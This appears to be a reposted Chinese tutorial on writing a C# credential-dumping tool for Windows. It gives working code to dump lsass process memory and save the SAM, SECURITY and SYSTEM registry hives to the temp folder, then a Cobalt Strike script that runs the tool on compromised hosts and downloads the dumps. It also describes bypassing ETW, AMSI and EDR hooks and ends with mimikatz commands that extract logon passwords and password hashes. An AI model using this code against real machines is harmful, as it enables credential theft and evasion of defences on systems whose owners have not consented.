1、检测权限
因为dump系统lsass内存和sam注册表需要管理员权限，所以首先需要对当前进程上下文权限做判断。
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public static bool IsHighIntegrity(){ // returns true if the current process is running with adminstrative privs in a high integrity context var identity = WindowsIdentity.GetCurrent(); var principal = new WindowsPrincipal(identity); return principal.IsInRole(WindowsBuiltInRole.Administrator);} |
2、lsass内存
MiniDumpWriteDump是MS DbgHelp.dll 中一个API, 用于导出当前运行的程序的Dump，利用MiniDumpWriteDump实现dump lsass内存的功能，先加载MiniDumpWriteDump函数。
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[DllImport("dbghelp.dll", EntryPoint = "MiniDumpWriteDump", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode, ExactSpelling = true, SetLastError = true)]public static extern bool MiniDumpWriteDump(IntPtr hProcess, uintprocessId, SafeHandle hFile, uint dumpType, IntPtr expParam, IntPtr userStreamParam, IntPtr callbackParam); |
之后调用函数，并保存dump文件，代码如下所示：
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namespace sharpdump{ public class MiniDumper { public static string MiniDump() { Process[] pLsass = Process.GetProcessesByName("lsass"); string dumpFile = Path.Combine(Path.GetTempPath(), string.Format("lsass{0}.dmp", pLsass[0].Id)); if (File.Exists(dumpFile)) File.Delete(dumpFile); Console.WriteLine(String.Format("[*] Dumping lsass({0}) to {1}", pLsass[0].Id, dumpFile)); using (FileStream fs = new FileStream(dumpFile, FileMode.Create, FileAccess.ReadWrite, FileShare.Write)) { bool bRet = MiniDumpWriteDump(pLsass[0].Handle, (uint)pLsass[0].Id, fs.SafeFileHandle, (uint)2, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero); if (bRet) { Console.WriteLine("[+] Dump successful!"); return dumpFile; } else { Console.WriteLine(String.Format("[X] Dump Failed! ErrorCode: {0}", Marshal.GetLastWin32Error())); return null; } } } }} |
3、实现reg save保存sam注册表
首先导入需要用到的API。
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[DllImport("advapi32.dll", CharSet = CharSet.Auto)]public static extern int RegOpenKeyEx( UIntPtr hKey, string subKey, int ulOptions, int samDesired, out UIntPtr hkResult);[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]public static extern int RegSaveKey( UIntPtr hKey, string lpFile, IntPtr lpSecurityAttributes);[DllImport("advapi32.dll", SetLastError = true)]public static extern int RegCloseKey( UIntPtr hKey); |
然后构建函数，对"SAM", "SECURITY", "SYSTEM"注册表进行reg save。
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namespace sharpdump{ internal class Reg { public static UIntPtr HKEY_LOCAL_MACHINE = new UIntPtr(0x80000002u); public static int KEY_READ = 0x20019; public static int KEY_ALL_ACCESS = 0xF003F; public static int REG_OPTION_OPEN_LINK = 0x0008; public static int REG_OPTION_BACKUP_RESTORE = 0x0004; public static int KEY_QUERY_VALUE = 0x1; public static void ExportRegKey(string key, string outFile) { var hKey = UIntPtr.Zero; try { RegOpenKeyEx(HKEY_LOCAL_MACHINE, key, REG_OPTION_BACKUP_RESTORE | REG_OPTION_OPEN_LINK, KEY_ALL_ACCESS, out hKey); //https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regcreatekeyexa RegSaveKey(hKey, outFile, IntPtr.Zero); RegCloseKey(hKey); Console.WriteLine("Exported HKLM\\{0} at {1}", key, outFile); } catch (Exception e) { throw e; } } public static string DumpReg(string key) { try { String addr = key + ".hiv"; addr = Path.Combine(Path.GetTempPath(), addr); ExportRegKey(key, addr); return addr; } catch (Exception e) { Console.WriteLine(e.Message); Console.WriteLine(e.StackTrace); return ""; } } }} |
文件会被dump到temp目录下，然后对所有dump成功的文件进行打包处理，方便下载。完整代码稍后上传至知识星球。
4、关于ExecuteAssembly
ExecuteAssembly是CS可执行组件的一个替代方案，ExecuteAssembly基于C/C++构建，可以帮助广大研究人员实现.NET程序集的加载和注入。
ExecuteAssembly复用了主机进程spawnto来加载CLR模块/AppDomainManager，Stomping加载器/.NET程序集PE DOS头，并卸载了.NET相关模块，以实现ETW+AMSI绕过。除此之外，它还能够绕过基于NT静态系统调用的EDR钩子，以及通过动态解析API（superfasthash哈希算法）实现隐藏导入。
当前metasploit-framework和Cobalt Strike都已经实现了ExecuteAssembly功能，下面主要以Cobalt Strike为例，实现dump系统lsass内存和sam注册表的功能
5、CS 插件
以结合 Cobalt Strike 为例，编写一个简单的cna脚本。
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popup beacon_bottom { menu "Dumper" { item "SharpDump"{ local('$bid'); foreach $bid ($1){ bexecute_assembly($1, script_resource("Dumper.exe")); } } item "DownloadDump"{ prompt_text("File's address to download", "", lambda({ bdownload(@ids, $1); }, @ids => $1)); } }} |
加载脚本后，执行SharpDump，结果如下所示：
下载存放在temp目录下的dump.gz，然后使用Decompress解压，最后使用mimikatz 解密用户lsass.dmp和sam文件
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mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit lsadump::sam /sam:sam.hiv /system:system.hiv |
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原文链接：https://www.tuicool.com/articles/Y7RfYn6
